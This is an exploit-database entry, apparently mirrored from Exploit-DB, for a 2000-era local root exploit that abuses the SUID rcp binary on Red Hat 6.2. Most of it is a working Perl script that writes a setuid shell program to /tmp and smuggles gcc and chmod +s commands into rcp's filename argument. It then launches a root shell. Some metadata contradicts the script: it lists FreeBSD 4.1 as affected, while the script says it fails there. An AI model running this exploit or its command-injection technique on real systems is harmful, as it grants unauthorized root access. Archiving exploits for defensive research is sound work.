Exploiting SUID Privileges on RCP

vendor:

Enterprise Linux

by:

Tlabs

7,2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Enterprise Linux

Affected Version From: Redhat 6.2

Affected Version To: FreeBSD 4.1 Stable

Patch Exists: No

Related CWE: N/A

CPE: o:redhat:enterprise_linux:6.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2000

Exploiting SUID Privileges on RCP

This exploit takes advantage of the SUID privileges of the rcp command to gain root access. The exploit creates a shell script in the /tmp directory and then uses rcp to copy it to the localhost. The shell script is then compiled and given root privileges. Finally, the shell script is executed to gain root access.

Mitigation:

Remove the SUID bit from the rcp command.

Source

Exploit-DB raw data:

#!/usr/bin/perl -w
#
# exploits suid privledges on rcp
# Not really tested this but hey
# works on redhat6.2
# not werk on freebsd4.1 stable
#
# bug discovered by
# Andrew Griffiths
#
# Exploit written by tlabs
# greetz to those that know me innit
#
# Please set your rcpfile
# this can be found by doing
#
# ls -alF `which rcp`
#
# have a lot of fun

$RCPFILE="/usr/bin/rcp" ;

# configure above innit

sub USAGE
{
    print "$0\nWritten by Tlabs\n" ;
    exit 0 ;
}

if ( ! -u "$RCPFILE" )
{
    printf "rcp is not suid, quiting\n" ;
    exit 0;
}

open(TEMP, ">>/tmp/shell.c")|| die "Something went wrong: $!" ;
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{" ;
printf TEMP "    setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}\n" ;
close(TEMP);
open(HMM, ">hey")|| die "Something went wrong: $!";
print HMM "Sploit written by tlabs, thanks to Andrew Griffiths for the bug report" ;
close(HMM);

system "rcp 'hey geezer; gcc -o /tmp/shell /tmp/shell.c;' localhost 2> /dev/null" ;
system "rcp 'hey geezer; chmod +s /tmp/shell;' localhost 2> /dev/null" ;
unlink("/tmp/shell.c");
unlink("hey");
unlink("geezer");
printf "Ok, too easy, we'll just launch a shell, lets hope shit went well, innit:)\n" ;

exec '/tmp/shell' ;


# milw0rm.com [2000-11-29]